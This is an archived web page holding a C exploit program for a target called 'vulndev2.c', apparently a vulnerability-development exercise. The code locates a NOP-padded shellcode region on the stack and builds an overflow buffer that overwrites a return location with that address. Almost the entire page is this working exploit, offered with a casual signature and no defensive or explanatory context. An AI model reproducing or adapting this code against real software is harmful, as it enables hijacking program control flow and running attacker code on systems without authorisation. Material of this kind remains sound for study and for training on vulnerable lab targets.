Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting
/* exploit for vulndev2.c
 * easy peasy
 * -ex0 @ cpimps
 */

#include 
#include 

#define	PUT_ADDR(addr, val) {  \
	*(char *)(addr) = (val) & 0xff; \
	*(char *)((addr) + 1) = ((val) >> 8) & 0xff; \
	*(char *)((addr) + 2) = ((val) >> 16) & 0xff; \
	*(char *)((addr) + 3) = ((val) >> 24) & 0xff; \
	}

#define BSIZE 90

unsigned long get_sp(void);

int main(int argc, char *argv[]) {
	char arg1[BSIZE + 8];
	char arg2[8];
	char *p;
	int i;
	int skip = 0;
	int retloc;
	int retaddr;

	if(argc < 2) {
		fprintf(stderr, "usage: %s 
 []\n", argv[0]);
		exit(0);
	}

	sscanf(argv[1], "%x", &retloc);
	if(argc == 3) {
		sscanf(argv[2], "%d", &skip);
		fprintf(stderr, "skipping %d bytes\n", skip);
	}

	/* lame */
	p = (char *)get_sp();
	while((i = strncmp(p, "\x90\x90\x90\x90", 4)) != 0 && p < (char *)0xbfffffff) p++;
	if(i != 0) {
		fprintf(stderr, "load shellcode into memory first! (remember to pad with some nops)\n");
		exit(0);
	}
	(char *)retaddr = p;

	fprintf(stderr, "using retloc: 0x%x - retaddr: 0x%x\n", retloc, retaddr);

	memset(arg1, 'A', sizeof(arg1));
	PUT_ADDR(arg1 + BSIZE + skip, retloc - 2);

	memset(arg2, 0x00, sizeof(arg2));
	PUT_ADDR(arg2, retaddr);

	fprintf(stderr, "exploitation buffer ready\n");
	printf("%s %s\n", arg1, arg2);

	return;
}

unsigned long get_sp(void) {
	__asm__ ("movl %esp, %eax");
}


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library